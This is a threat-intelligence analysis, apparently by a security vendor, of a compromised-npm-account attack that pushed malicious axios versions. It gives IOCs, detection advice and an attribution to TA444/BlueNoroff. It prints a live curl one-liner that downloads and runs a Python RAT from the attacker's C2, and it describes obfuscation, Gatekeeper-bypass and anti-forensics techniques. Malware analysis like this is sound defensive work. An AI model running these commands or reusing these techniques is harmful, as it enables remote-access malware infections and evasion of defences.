SSH Keye1f6b7f621a391a9d26e9a196974f3e2cc1ce8b4d8f73a14b2e8cb0f2a40289fShared across 3 coordinated DPRK servers on Hostwinds

Indicators of Compromise

Network Infrastructure

TypeIndicatorDescription
Domainsfrclak[.]comC2 server
IP142.11.206[.]73C2 IP (Hostwinds AS54290)
Port8000C2 port (HTTP, no TLS)
URI/6202033Campaign endpoint
User-Agentmozilla/4.0 (compatible; msie 8.0; ...)Beacon identifier

File Hashes

SHA-256Description
e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09setup.js dropper
506690fcbd10fbe6f2b85b49a1fffa9d984c376c25ef6b73f764f670e932cab4macOS Mach-O RAT
617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101Windows PowerShell RAT
f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cdWindows Stage-1 launcher
fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cfLinux Python RAT

File System Indicators

PlatformIndicatorDescription
macOS/Library/Caches/com.apple.act.mondMach-O RAT binary
macOS /private/tmp/.<random>Dropped binaries (peinject)
Windows%PROGRAMDATA%\wt.exeRenamed PowerShell
Windows%PROGRAMDATA%\system.batHidden persistence launcher
WindowsHKCU...\Run\MicrosoftUpdatePersistence Run key
Linux/tmp/ld.pyPython RAT script

MITRE ATT&CK Mapping

TechniqueNameUsage
T1195.002Supply Chain CompromiseCompromised npm maintainer account
T1059.001PowerShellWindows RAT via -ep bypass
T1059.002AppleScriptmacOS RAT via osascript
T1059.006PythonLinux RAT via python3 -c
T1547.001Registry Run KeysHKCU Run key "MicrosoftUpdate"
T1553.002Code SigningAd-hoc codesign Gatekeeper bypass
T1055Process Injection.NET Reflection into cmd.exe
T1082System Info DiscoveryHostname, OS, CPU, timezone
T1057Process DiscoveryWMI / /proc / ps -eo
T1071.001HTTP ProtocolPOST beacons on port 8000
T1036.005MasqueradingMicrosoftUpdate, com.apple.act.mond
T1027Obfuscated FilesXOR + Base64 encryption
T1070.004File DeletionDropper self-deletes + temp cleanup

Mitigation Strategies

Detection

  • Monitor for outbound HTTP POST traffic to port 8000 with User-Agent "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"

  • Alert on creation of /Library/Caches/com.apple.act.mond or %PROGRAMDATA%\wt.exe

  • Monitor Registry Run key modifications with value name "MicrosoftUpdate"

  • Detect codesign --force --deep --sign - execution from non-standard parents on macOS

  • Flag processes spawned by npm postinstall hooks, making outbound network connections

Immediate Response

  • If axios@1.14.1 or axios@0.30.4 was installed, treat the system as compromised

  • Check for IOC file artifacts on all platforms

  • Inspect network logs for connections to 142.11.206.73 or sfrclak.com on port 8000

  • Rotate all credentials, API keys, SSH keys, and tokens accessible from the affected system

  • On Windows, remove the MicrosoftUpdate Run key and delete system.bat + wt.exe

Prevention

  • Pin package versions in package-lock.json and use npm ci in CI/CD pipelines

  • Integrate dependency scanning tools (Socket.dev, Snyk, npm audit) into build workflows

  • Use --ignore-scripts flag where postinstall hooks are not required

  • Implement network egress filtering to block outbound HTTP on non-standard ports

  • Monitor npm publications for missing OIDC Trusted Publisher signatures

Summary

This attack wasn't opportunistic. It was a deliberate, multi-stage operation against one of the most widely installed packages in the JavaScript ecosystem, executed in under 24 hours and designed to leave no trace. The dropper, the staged dependency, the platform-specific RATs, the self-destructing cleanup --- every step was planned.

Supply chain attacks don't announce themselves. They look like normal package updates, and they clean up after themselves. If axios@1.14.1 or axios@0.30.4 was ever installed on a system, treat it as compromised and rotate everything.

The infrastructure connections that tied this attack to TA444/BlueNoroff are the kind you can find yourself. Book a free demo today and start exploring our platform.

Axios pulls over 37 million weekly downloads on npm. That kind of reach makes it a prime target, and someone took the shot. The npm account belonging to the library's primary maintainer, jasonsaayman, was compromised and used to push two malicious versions, executing a five-stage operation in under 24 hours: account takeover, dependency staging, payload injection, multi-platform RAT deployment, and evidence cleanup.

The dropper checks the victim's OS and pulls down a platform-specific RAT. A compiled Mach-O binary on macOS, a fileless PowerShell implant on Windows, or a Python script on Linux. Seconds after the RAT is running, the dropper wipes itself and swaps the malicious package.json for a clean stub. A developer checking their node_modules after install would see nothing out of place.

The cleanup was thorough. The trail wasn't.

Key Findings

  • Attacker hijacked the npm account of Axios maintainer jasonsaayman, published malicious axios@1.14.1 and axios@0.30.4, bypassing the legitimate CI/CD pipeline

  • Staged dependency plain-crypto-js was published clean first (v4.2.0), then weaponized 18 hours later (v4.2.1) with an obfuscated postinstall dropper

  • Dropper uses XOR + reversed Base64 obfuscation with key "OrDeR_7077" to hide all strings including C2 URL, imports, and payload scripts

  • Three platform-specific RATs deployed: compiled C++ Mach-O for macOS, fileless PowerShell for Windows, Python stdlib-only for Linux

  • Single C2 at sfrclak.com:8000 (142.11.206.73) routes payloads by POST body: product0 for macOS, product1 for Windows, product2 for Linux

  • Four shared C2 commands across all platforms: kill, peinject (binary drop), runscript (script execution), rundir (file browsing)

  • macOS variant bypasses Gatekeeper with ad-hoc codesigning; Windows is the only variant with persistence via Registry Run key "MicrosoftUpdate"

  • Linux peinject command is broken due to an undefined variable bug, confirming hasty porting from the Windows codebase

  • Dropper self-destructs in three steps: deletes itself, removes malicious package.json, swaps in clean v4.2.0 stub

  • C2 infrastructure links to TA444/BlueNoroff (DPRK) via shared ETag with known JustJoin server, same Hostwinds AS54290 subnet, and NukeSped malware classification

Here is how the whole thing played out.

Attack Timeline

Here's how the whole thing plays out. From npm install to a live RAT beaconing home, the entire chain takes under two seconds.

TimelineEvent
T-18 hoursAttacker publishes clean decoy plain-crypto-js@4.2.0 from account nrwise@proton.me
T-0Malicious plain-crypto-js@4.2.1 published with postinstall hook containing obfuscated dropper
T+0Compromised axios@1.14.1 and axios@0.30.4 published from hijacked jasonsaayman account
T+0.1sVictim runs npm install. postinstall triggers setup.js
T+0.5sDropper decrypts string table, detects OS, downloads platform-specific RAT
T+1.0sRAT active. First beacon (FirstInfo) sent to C2
T+1.5sAnti-forensics complete. setup.js deleted, package.json swapped with clean stub
T+60sRAT enters 60-second beacon loop, awaiting C2 commands

By the time npm install finishes, the dropper has already run, deployed the RAT, and erased all traces. No errors, no warnings, nothing unusual in the terminal output.

Account Compromise and Dependency Staging

The attacker took over jasonsaayman's npm account and changed the registered email to ifstap@proton.me: a full credential takeover. We confirmed the malicious versions were published manually, not through GitHub Actions. They're missing the cryptographic trustedPublisher signature and the gitHead reference that legitimate Axios releases carry.

About 18 hours before the attack, the attacker published a clean plain-crypto-js@4.2.0 to get some legitimate publishing history on the package. Then they pushed v4.2.1 with the postinstall hook that kicks off the dropper:

"scripts": {
  "postinstall": "node setup.js"
}

                
Copy

Package Hashes

PackageSHAStatus
axios@1.14.12553649f232204966871cea80a5d0d6adc700caMALICIOUS
axios@0.30.4d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71MALICIOUS
plain-crypto-js@4.2.107d889e2dadce6f3910dcbc253317d28ca61c766MALICIOUS
axios@1.14.07c29f4cf2ea91ef05018d5aa5399bf23ed3120ebSAFE

Getting the malicious versions onto npm was step one. Step two was making sure something ran when a developer installed them.

The Dropper: setup.js Analysis

We started by pulling apart setup.js, the file that kicks everything off. At first glance, it looks harmless. no hardcoded URLs, no suspicious imports, no system commands visible in plain text. But that's by design. Everything the dropper needs is encrypted inside an array with 18 entries, and none of it becomes readable until the script actually runs.

The obfuscation uses two layers. The first layer is a character-level XOR cipher that takes the encryption key "OrDeR_7077" and XORs each byte against a key digit and the constant 333. The second layer wraps the result in a reversed Base64 encoding, where underscore characters stand in for the equals-sign padding. At runtime, the dropper reverses the string, restores the Base64 padding, decodes it, and then runs the XOR pass to get the original text. It's enough to defeat static scanners and anyone doing a quick code review.

Figure 1: The obfuscated setup.js source code. All strings are hidden inside the encrypted stq[] array, making the dropper appear harmless during casual inspection

We wrote a decoder script and ran it against all 18 entries in the array. That's when the real picture came into focus. The decrypted values revealed the C2 server URL (http://sfrclak.com:8000/), the Node.js modules the dropper needs to import (child_process for shell execution, os for platform detection, fs for file manipulation), the platform identifier strings it checks against, and, most importantly, complete platform-specific payload scripts for Windows, macOS, and Linux, each one ready to deploy a different RAT variant.

Figure 2: The two decryption functions that unpack the stq[] array at runtime. a XOR cipher combined with reversed Base64 encoding

The decoded array also contained the dropper's anti-forensics targets: the filenames package.json (which it deletes) and package.md (a clean replacement stub that gets renamed into place). Even the file extensions for the Windows payload chain. .exe, .ps1, .vbs. were stored encrypted, leaving absolutely nothing readable in the source code.

Figure 3: Output from our decoder script showing the full contents of all 18 stq[] entries after decryption

With the string table decoded, the dropper's execution flow becomes straightforward. It dynamically imports the three Node.js modules using the decrypted names, constructs the full C2 URL by appending the campaign identifier "6202033" to the base URL, calls os.platform() to figure out which operating system it's running on, and branches into one of three completely different delivery paths. The deobfuscated version below makes the logic clear. This is the same code, just with every encrypted string replaced by its decoded value.

Figure 4: The deobfuscated dropper with all strings decoded. C2 URL construction, platform detection via os.platform(), and the main entry point are now clearly visible

With the string table decoded, the dropper's logic becomes straightforward. It knows the OS, and it acts accordingly.

Platform Detection and Payload Delivery

The dropper doesn't ship a single payload for all targets. Once it knows the victim's OS, it pulls down a RAT built specifically for that platform, using native scripting languages and execution methods that blend naturally with each environment. This makes detection harder because the delivery mechanism looks like normal system activity on each platform.

Windows Delivery Path

Windows gets the most complex delivery chain of the three. The dropper starts by locating powershell.exe on the system using the "where" command, then copies the entire binary to %PROGRAMDATA%\wt.exe. This renaming is deliberate. Security tools and EDR products that monitor for powershell.exe execution won't flag a process called wt.exe, even though it's functionally identical. With the renamed PowerShell in place, the dropper writes a VBScript to %TEMP%\6202033.vbs containing a hidden cmd.exe invocation that handles the actual download.

Figure 5: The Windows delivery path in the deobfuscated dropper. PowerShell gets copied and renamed to wt.exe for evasion

The VBScript uses the WScript.Shell COM object to launch everything hidden. It spawns cmd.exe with a window completely invisible, which runs curl to POST "packages.npm.org/product1" to the C2 server. The response. The full PowerShell RAT script. gets saved as a .ps1 file in %TEMP%, and the renamed wt.exe immediately executes it with -w hidden (hidden window) and -ep bypass (skip execution policy). After the RAT is running in memory, both the VBScript and the .ps1 file get deleted.

The persistence mechanism writes a one-line batch file to %PROGRAMDATA%\system.bat that contains the same fileless download command. This batch file is what runs on every boot through the Registry Run key, re-downloading a fresh copy of the RAT directly into memory each time:

Figure 6: The Windows Stage-1 launcher (system.bat). a single line that downloads the RAT into memory via Invoke-WebRequest and executes it through a ScriptBlock without ever writing to disk

This is a truly fileless persistence mechanism. The RAT script never exists on disk as a standalone .ps1 file during the re-infection path. Security tools scanning the filesystem for suspicious PowerShell scripts won't find anything because everything happens in memory.

Linux Delivery Path

Linux gets the simplest and most direct delivery of the three platforms. There's no intermediate scripting language, no binary renaming, no staged execution. just a single inline shell command:

curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033
  && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &

                
Copy

Curl sends an HTTP POST with "packages.npm.org/product2" in the body, telling the C2 to serve the Linux payload. The response gets saved to /tmp/ld.py, and nohup python3 launches it immediately in the background. The nohup ensures the RAT process survives even after the Node.js dropper exits, and redirecting everything to /dev/null keeps the execution completely silent. no output in the terminal, no error messages, nothing to tip off the developer that something just happened.

macOS Delivery Path

The macOS delivery uses AppleScript as an intermediate execution layer, which is a smart choice because osascript execution is a completely normal and common activity on macOS systems. The dropper writes an AppleScript to /tmp/6202033 that performs three chained operations: it downloads the Mach-O RAT binary from the C2, makes it executable, and launches it in the background via /bin/zsh (macOS's default shell since Catalina). Looking at the deobfuscated dropper code, we can see exactly how it constructs the AppleScript payload with the C2 endpoint, persistence path, and the nohup osascript execution command.

Figure 7: The macOS delivery path in the deobfuscated dropper. AppleScript payload construction with persistence path, curl download, chmod 770, and silent osascript execution

The dropper builds the AppleScript with three variables: an empty spacer string, the full C2 URL, and the persistence path /Library/Caches/com.apple.act.mond. It writes this script to /tmp/<campaignId>, launches it silently with nohup osascript, then moves on to anti-forensics. The actual AppleScript content that ends up on disk is shown below. the chained curl, chmod, and /bin/zsh commands that download, permission, and execute the Mach-O binary:

Figure 8: The decoded macOS AppleScript as written to /tmp/6202033. three variables (empty spacer, C2 URL, persistence path), chained shell commands inside a try block, and self-deletion at the end

The persistence path deserves attention: /Library/Caches/com.apple.act.mond. This is deliberately crafted to mimic Apple's reverse-DNS naming convention ( com.apple.<service>) inside a legitimate system cache directory. A system administrator browsing /Library/Caches/ would see dozens of real com.apple.* files alongside this one and likely skip right past it. The name "act.mond" even sounds like it could be an "activity monitor daemon". Something Apple might actually ship.

Once the payload is running, the dropper has one job left.

Anti-Forensics

Right after the platform payload launches, the dropper runs a three-step cleanup. Here's the anti-forensics code that deletes itself, removes the malicious package.json, and swaps in a clean v4.2.0 stub:

Figure 9: Anti-forensics: fs.unlink(self), fs.unlink(package.json), fs.rename(package.md → package.json)

When it's done, node_modules/plain-crypto-js/ looks like a perfectly normal, slightly outdated JavaScript package. The dropper is gone, the malicious manifest is gone, and a clean replacement sits in its place.

The dropper is gone. The RAT is not. Here is what each variant does once it's running.

Windows RAT: PowerShell In-Memory Implant

The Windows payload is a PowerShell script that never touches disk as a standalone file. It's downloaded and executed entirely in memory through an Invoke-WebRequest and ScriptBlock chain. It's the only variant of the three that bothers with persistence. Once it's running, it immediately sets up a mechanism to survive reboots, starts collecting system information, and begins beaconing to the C2 server every 60 seconds.

Initialization and Persistence

The RAT's first action on execution is to establish persistence so it can survive a system reboot. It generates a random 16-character alphanumeric session UID that uniquely identifies this victim, then pulls a comprehensive system profile using WMI queries: hostname, username, full OS version with architecture, timezone, last boot time, OS install date, hardware model, and CPU type. With that data collected, it creates a hidden batch file at %PROGRAMDATA%\system.bat and registers it as a startup item through the Registry Run key HKCU...\CurrentVersion\Run with the value name "MicrosoftUpdate", chosen specifically to look like a legitimate Windows Update entry during casual inspection.

Figure 10: Windows RAT initialization: system recon via WMI, persistence setup (MicrosoftUpdate Run key), and C2 communication function with fake IE8 User-Agent

C2 communication goes through System.Net.WebClient with a fake IE8 User-Agent string. All request bodies are JSON-serialized, UTF-8 encoded, then Base64-wrapped. This encoding pipeline is the same across all three platform variants.

Script Execution Handler

The runscript command is where the attacker gets arbitrary PowerShell execution on the victim's machine. We found three distinct execution paths in the handler, each designed for a different scenario. When the C2 sends just a parameter with no script body, the RAT executes it as a direct PowerShell command.

The content gets double-encoded (UTF-16 then Base64) and passed through PowerShell's -EncodedCommand flag, keeping everything entirely in memory with no filesystem artifacts. Larger scripts that exceed command-line length limits get written to a temporary .ps1 file with a random GUID filename in %TEMP%, executed via the -File parameter, and immediately deleted afterward.

Figure 11: Do-Action-Scpt: three execution paths. direct command, in-memory EncodedCommand (<10KB), and a temp file for large scripts

The in-memory path leaves no filesystem artifacts. The temp file path is only a fallback for scripts that exceed command-line length limits.

Command Dispatcher

The command dispatcher function sits at the center of the RAT's operation. Every time a beacon comes back from the C2 with data in the response, this function parses the JSON, reads the "type" field, and routes the request to the appropriate handler.

It supports four command types: kill to gracefully terminate the RAT, peinject for in-memory .NET assembly injection into cmd.exe, runscript for arbitrary PowerShell execution, and rundir for remote filesystem browsing with detailed metadata.

Figure 12: Process-Request: command dispatcher handling kill (exit 0), peinject (.NET Reflection), runscript, and rundir

On a peinject command, the handler loads a .NET DLL via Reflection, grabs Extension.SubRoutine.Run2, and invokes it to inject a payload into cmd.exe. The variable names are reversed on purpose. $rotjni is "injtor" and $daolyap is "payload" spelled backwards.

Beacon Loop

The main function starts by detecting the CPU architecture (x64 vs ARM), then sends the initial FirstInfo beacon to the C2 with directory listings of the user's Documents, Desktop, OneDrive, AppData\Roaming, and every filesystem drive root. This gives the attacker an immediate map of the victim's file system before any commands are even sent. After that, it enters an infinite loop that beacons every 60 seconds. The first iteration sends the complete system profile, including a full process list from WMI. Every subsequent iteration sends just a timestamp heartbeat to keep the connection alive without wasting bandwidth.

Figure 13: Main work() function: architecture detection, FirstInfo beacon, Win32_Process enumeration

Here's the beacon data structure: the first beacon carries the full system profile, subsequent ones just carry a timestamp. Each response gets checked for C2 commands:

Figure 14: Beacon loop: full BaseInfo with system profile on first iteration, then heartbeat-only, with 60-second sleep interval

The Linux variant strips everything back. No staging, no binary renaming, just a Python script and a shell command.

Linux RAT: Python Backdoor

The Linux variant is written entirely in Python 3 using only standard library modules. no pip installs, no external dependencies, nothing that would require a package manager. It mirrors the Windows RAT's full functionality with the same four C2 commands, the same JSON protocol, and the same Base64 encoding pipeline. The zero-dependency approach is a practical choice: the dropper can't guarantee pip is available, but Python 3 ships with nearly every modern Linux distribution.

System Reconnaissance

The RAT collects system information through Linux-specific methods that read directly from the kernel's virtual filesystems. It pulls the hostname from /proc/sys/kernel/hostname, calculates the boot time by reading uptime from /proc/uptime and subtracting it from the current time, estimates the OS installation date from the creation timestamp of /var/log/installer or /var/log/dpkg.log (depending on the distribution), and reads hardware vendor and model strings from /sys/class/dmi/id/sys_vendor and /sys/class/dmi/id/product_name. The recon functions are shown below:

Figure 15: Linux recon functions: get_os() for architecture detection, get_boot_time() via /proc/uptime, get_host_name(), get_user_name()

The hardware ID functions try to read DMI sysfs files that need root access. If the RAT is running as a regular user, those values come back as empty strings silently.

Figure 16: System info collection: get_installation_time() via dpkg logs, get_system_info() reading /sys/class/dmi for vendor and product name

Process Enumeration

Where the Windows variant uses WMI to enumerate processes, the Linux RAT walks the /proc filesystem directly. For each numeric directory under /proc (each one representing a running process), it reads the full command line from /proc/[pid]/cmdline (where null bytes separate the arguments), extracts the parent PID and process start time from /proc/[pid]/stat, reads the effective UID from /proc/[pid]/status, and resolves that UID to a username by parsing /etc/passwd line by line. It's more work than calling a single WMI query, but it achieves the same result without any external dependencies.

Figure 17: Process enumeration: walking /proc/[pid]/ directories, reading cmdline, stat, status, and resolving UIDs against /etc/passwd

The RAT marks its own process with a '*' prefix in the command line field so the attacker can spot it quickly in the process list.

C2 Communication

All C2 traffic goes through Python's http.client module, which is part of the standard library. There's no dependency on the popular requests package or urllib3. The same fake Internet Explorer 8 User-Agent string appears here that we saw in the Windows variant and will see again in the macOS binary. It's consistent across all three platforms, which makes it a reliable detection signature. On a Linux system, seeing an IE8 User-Agent in outbound HTTP traffic is about as suspicious as it gets.

Figure 18: send_post_request(): HTTP POST via http.client with fake IE8 User-Agent and 60-second timeout

It handles both HTTP and HTTPS connections, though this campaign only uses unencrypted HTTP on port 8000. The 60-second timeout keeps it from hanging forever if the C2 goes down.

Command Handlers

The Linux RAT supports the same four C2 commands as the Windows variant. The peinject handler is supposed to Base64-decode a binary payload from the C2, write it to a hidden file at /tmp/.<random_6_characters>, set permissions to 777 (world-executable), and launch it via subprocess. The runscript handler supports two modes: when no script is provided, it executes the parameter directly as a shell command through subprocess.run() with shell=True; when a Base64-encoded script is included, it decodes it and runs it through python3 -c.

Figure 19: Command handlers: do_action_ijt (binary drop + execute) and do_action_scpt (shell command or Python script execution)

Command Dispatcher

The command dispatcher parses JSON from the C2 response and routes each command to its handler. The structure is nearly identical to the Windows variant. same command type names, same JSON field names, same response format. This consistency across platforms confirms that someone worked from a shared specification when building these three RATs, even though they're written in completely different languages.

Figure 20: process_request(): C2 command dispatcher for kill, peinject, runscript, and rundir with CmdResult responses

Every command response goes back to the C2 as a CmdResult JSON object with the command ID, session UID, status code ("Wow" for success, "Zzz" for failure), and any output or error message.

Beacon Loop and Entry Point

The main beacon loop collects system information and sends it to the C2 every 60 seconds. There's a notable difference here from the Windows variant: the Linux RAT sends the complete system profile. hostname, username, OS version, timezone, boot time, hardware info, and the full process list. on every single beacon, not just the first one. The Windows version optimizes this by sending the full profile once and then switching to a lightweight timestamp-only heartbeat. The Linux version never implements that optimization, which wastes bandwidth and makes the beacon traffic slightly easier to spot on the network. This looks like something they planned to fix but never got around to during what appears to have been a rushed porting effort.

Figure 21: main_work(): infinite beacon loop sending full system info (hostname, username, OS, processes) every 60 seconds

The entry point reads the C2 URL from sys.argv[1], generates a 16-character session UID, scans key user directories ($HOME, .config, Documents, Desktop), fires off the FirstInfo beacon, and drops into the main loop.

Figure 22: work(): entry point. reads C2 URL from argv[1], generates UID, sends FirstInfo with directory listings, enters main_work loop

Linux RAT C2 Commands

The Linux RAT receives the same four commands from the C2 server, but handles each one using Python-native methods:

CommandTypeLinux Implementation
kill"kill"Sends rsp_kill acknowledgment, then calls sys.exit(0) to terminate the Python process
peinject"peinject"BROKEN: attempts base64.b64decode(b64_string), but b64_string is undefined, throws NameError every time. Should use ijtbin parameter. Binary drop never executes on Linux.
runscript"runscript"Two modes: subprocess.run(shell=True) for direct shell commands, or subprocess.run(["python3","-c",decoded_script]) for Base64-encoded Python code
rundir"rundir"Uses pathlib.Path.iterdir() to enumerate directories, returns Name, IsDir, SizeBytes, Created (st_birthtime if available), Modified, HasItems

The macOS variant is a different animal. Where the other two are scripts, this one is a compiled C++ binary with a Gatekeeper bypass built in.

macOS RAT: Compiled Mach-O Binary (IDA Pro)

The macOS variant is a completely different animal from the Windows and Linux payloads. Instead of an interpreted script, it's a compiled C++ native binary weighing in at 657 KB. roughly 60 times the size of the other two variants. That's a significant investment of development effort. It links against macOS's built-in libcurl for HTTP communication, libc++ for the C++ standard library, and ships with a statically linked copy of the nlohmann::json library for JSON parsing. We loaded the binary into IDA Pro for static analysis and identified 23 meaningful functions that together reveal the full structure of the RAT's operation.

C2 Communication

It handles all HTTP traffic between the RAT and the C2 server. It configures libcurl with POST mode enabled, the same fake Internet Explorer 8 User-Agent string we've seen in the other two variants, a 30-second connection timeout, and redirect following. Request bodies are Base64-encoded before sending, maintaining full protocol compatibility with the Windows and Linux versions. It uses macOS's system-installed /usr/lib/libcurl.4.dylib rather than bundling its own HTTP stack, which keeps the binary smaller and avoids the need to ship OpenSSL.

Figure 23: IDA Pro: C2_SendPost_Curl showing libcurl CURLOPT settings. POST mode, fake IE8 User-Agent, 30s timeout, redirect following

The screenshot below shows the libcurl configuration, where you can see each CURLOPT being set, including the hardcoded fake IE8 User-Agent string that ties this binary to the same C2 infrastructure as the Windows and Linux variants.

Binary Drop with Gatekeeper Bypass

This is the most interesting part in the entire binary and the one that sets the macOS variant apart from the other two platforms. When the C2 sends a peinject command, the handler Base64-decodes the payload, generates a random 6-character string for the filename, writes the binary to /private/tmp/ as a hidden file (the leading dot in the filename makes it invisible to ls without the -a flag), and sets executable permissions via chmod to 0755. But then it does something neither the Windows nor Linux variant needs to do. It bypasses macOS Gatekeeper.

Figure 24: Drop. Base64Decode, snprintf("/private/tmp/.%s"), fwrite, chmod 0755, codesign --force --deep --sign -, popen()

The key line is the codesign call: codesign --force --deep --sign - applies an ad-hoc code signature to the dropped binary. On macOS, Gatekeeper blocks execution of any unsigned binary, so without this step the payload would be quarantined and never run.

The --force flag overwrites any existing signature that might be present, --deep ensures nested frameworks or bundles inside the binary also get signed, and --sign - tells codesign to use an ad-hoc identity that doesn't require an Apple Developer certificate.

technique maps to MITRE T1553.002 (Subvert Trust Controls: Code Signing) and is a clear sign that whoever built this binary understood macOS security mechanisms at a practical level. You don't add codesigning to your malware unless you've hit the Gatekeeper wall during testing.

AppleScript Execution

When the C2 sends a runscript command with a script payload, the binary doesn't execute it directly as shell code like the other platforms do. Instead, it creates a temporary AppleScript file using mkstemps with the template /tmp/.XXXXXX.scpt, writes the decoded script content into it, and executes it through /usr/bin/osascript. macOS's built-in AppleScript interpreter. This gives the attacker access to macOS-specific automation capabilities like UI interaction, application control, and system dialog manipulation that wouldn't be possible through a simple shell command. Any additional parameters from the C2 are parsed through a shell-split function and appended to the argument vector.

Figure 25: RAT_Cmd_RunAppleScript. Base64DecodeToString, CreateTempScptFile via mkstemps, /usr/bin/osascript execution, unlink cleanup

After execution finishes and stdout is captured through a pipe back to the parent process, the temporary .scpt file is immediately deleted. If the C2 sends a runscript command with an empty script field and only a parameter, the binary falls back to direct shell execution through /bin/sh -c, which gives the attacker standard Unix command-line access as a fallback.

Architecture Detection

One of the smaller but important functions in the binary handles architecture detection. It queries the macOS kernel using sysctlbyname with the parameter "hw.optional.arm64" to determine whether the system is running on Apple Silicon or Intel hardware:

Figure 26: Recon_GetOS. sysctlbyname("hw.optional.arm64") returning "mac_arm" or "mac_x64"

If the sysctl call returns 1, the binary reports "mac_arm" to the C2 server. Otherwise, it defaults to "mac_x64". This architecture information is important because it tells the attacker which type of binary to send through the peinject command. An ARM64 Mach-O won't run on an Intel Mac and vice versa, so the C2 needs to know which one to serve.

Process Enumeration

For enumerating running processes, the macOS variant takes a simpler approach than the Linux one. Instead of walking /proc directories (which don't exist on macOS), it calls popen with "ps -eo user,pid,command" and reads the output line by line through fgets into a 4096-byte buffer. The result is a formatted string showing every running process with its owner, PID, and full command line. the same data the other variants collect, just gathered through a different method.

Figure 27: Recon_GetProcessList. popen("ps -eo user,pid,command") with fgets output parsing loop

The process list goes into every BaseInfo beacon, giving the attacker a live view of what's running on the machine.

macOS RAT C2 Commands

The macOS RAT receives the same four commands, but implements each one using compiled C++ with macOS-native APIs and a unique Gatekeeper bypass technique:

CommandTypemacOS Implementation
kill"kill"Sends rsp_kill acknowledgment, then calls exit(0) to terminate the Mach-O binary process
peinject"peinject"Base64-decodes payload, writes to /private/tmp/.<random> (hidden), chmod 0755, runs codesign --force --deep --sign - to bypass Gatekeeper, then executes via popen()
runscript"runscript"Creates temp .scpt file via mkstemps(), executes through /usr/bin/osascript (AppleScript), captures stdout via pipe, deletes temp file. Falls back to /bin/sh -c if the Script field is empty
rundir"rundir"Uses std::filesystem directory iteration with stat() calls, returns Name, IsDir, SizeBytes, Created (st_birthtimespec), Modified, HasItems

Three platforms, three languages, three delivery methods. The protocol underneath them is identical.

Shared RAT Architecture and C2 Protocol

All three RATs are written in different languages, but they speak the same C2 protocol. The JSON message structures, field names, encoding scheme, and even the status code strings ("Wow" and "Zzz") are identical across platforms.

C2 Remote Commands

These are the commands the attacker can send to the RAT, delivered in the JSON response during each 60-second beacon:

CommandType FieldDescription
kill"kill"Terminate the RAT process and send acknowledgment to C2
peinject"peinject"Base64-decode a native binary, write to disk, and execute
runscript"runscript"Execute arbitrary script (PowerShell / Python / AppleScript)
runscript (empty)"runscript"Execute a direct shell command when the Script field is empty
rundir"rundir"Browse the victim file system and return file/directory metadata

C2 Response Commands

ResponseSent AfterContent
rsp_killkillAcknowledgment with status "success", then exit
rsp_peinjectpeinjectBinary drop result: "Wow" or "Zzz" with error
rsp_runscriptrunscriptCaptured stdout from executed script
rsp_rundirrundirJSON array: Name, IsDir, SizeBytes, Created, Modified, HasItems

Status Codes

CodeMeaningExample
"Wow"SuccessBinary dropped and launched, script output captured
"Zzz"FailureException message (e.g. "name 'b64_string' is not defined")
"success"Kill ackUsed only for the kill command acknowledgment

Beacon Message Types

TypeWhen SentContent
FirstInfoOnce on startupSession UID, OS identifier, directory listings
BaseInfoEvery 60 secondsSystem info + heartbeat timestamp
CmdResultAfter each commandStatus code (Wow/Zzz) and output
JSON responseIn beacon responseCommand with parameters

Platform Implementation Comparison

FeatureWindowsLinuxmacOS
Script EnginePowerShell -EncodedCommandpython3 -cosascript (.scpt)
Binary Inject.NET Reflection → cmd.exeWrite /tmp + chmod (BROKEN)Write + chmod + codesign
Process EnumWMI Win32_Process/proc walkingps -eo
PersistenceRegistry Run keyNONENONE
Initial ReconDocs, Desktop, OneDrive, AppData, all drives$HOME, .config, Docs, Desktop$HOME, Docs, Desktop, Downloads, /Applications

The shared protocol points to a single developer or team. The infrastructure points to something more specific.

Attribution: TA444/BlueNoroff (DPRK)

We're attributing this attack to TA444/BlueNoroff based on multiple converging lines of evidence. TA444/BlueNoroff operates as a financially motivated subgroup of the Lazarus collective under DPRK direction, and they've been running supply chain attacks against the JavaScript and Python ecosystems for years. The attribution here doesn't rest on any single indicator.

It comes from multiple independent lines of evidence that all point in the same direction: infrastructure overlaps, malware family classification, tactical alignment, and hosting patterns that match documented TA444/BlueNoroff operations.

Infrastructure Overlap: Shared ETag

The strongest piece of evidence is a network infrastructure overlap. We pivoted from the Axios C2 server at 142.11.206[.]73 and found that it shares a unique HTTP ETag header with 23.254.167[.]216, a server that we previously documented as active TA444/BlueNoroff infrastructure.

That server was hosting a "JustJoin" landing page, a macOS application theme previously linked to TA444/BlueNoroff campaigns by both SentinelOne and Hunt.io. ETag headers are typically generated by the web server based on file content and modification time, so sharing a unique ETag across two different servers strongly suggests they're managed by the same operator, likely serving identical content from a common deployment pipeline.

We pulled the C2 IP details from Hunt.io and confirmed it sits on Hostwinds AS54290 within the 142.11.192.0/18 subnet. That same /18 block contains at least three other IP addresses that have been independently confirmed as Lazarus Group infrastructure in previous investigations.

Figure 28: overview for 142.11.206[.]73. the Axios C2 server hosted on Hostwinds LLC in Dallas, Texas, AS54290, within the 142.11.192.0/18 subnet that contains confirmed Lazarus infrastructure

Hostwinds is the most frequently observed hosting provider in Hunt.io's tracking of TA444/BlueNoroff operations. The provider offers affordable VPS instances with minimal identity verification and accepts cryptocurrency payments, making it attractive for threat actors who need disposable infrastructure that's quick to provision and hard to trace back. The provider profile below shows the hosting characteristics that make it a repeated choice for this threat group.

Figure 29: Hostwinds provider profile showing cryptocurrency payment acceptance, medium bulletproof rating, and detected malicious activity, including C2 scanning and phishing sites

The combination of the same ASN, the same /18 subnet, a shared unique ETag with a documented DPRK server, and the use of Hostwinds (BlueNoroff's most common hosting provider) creates a strong infrastructure link that's difficult to explain as a coincidence.

JustJoin Campaign Connection

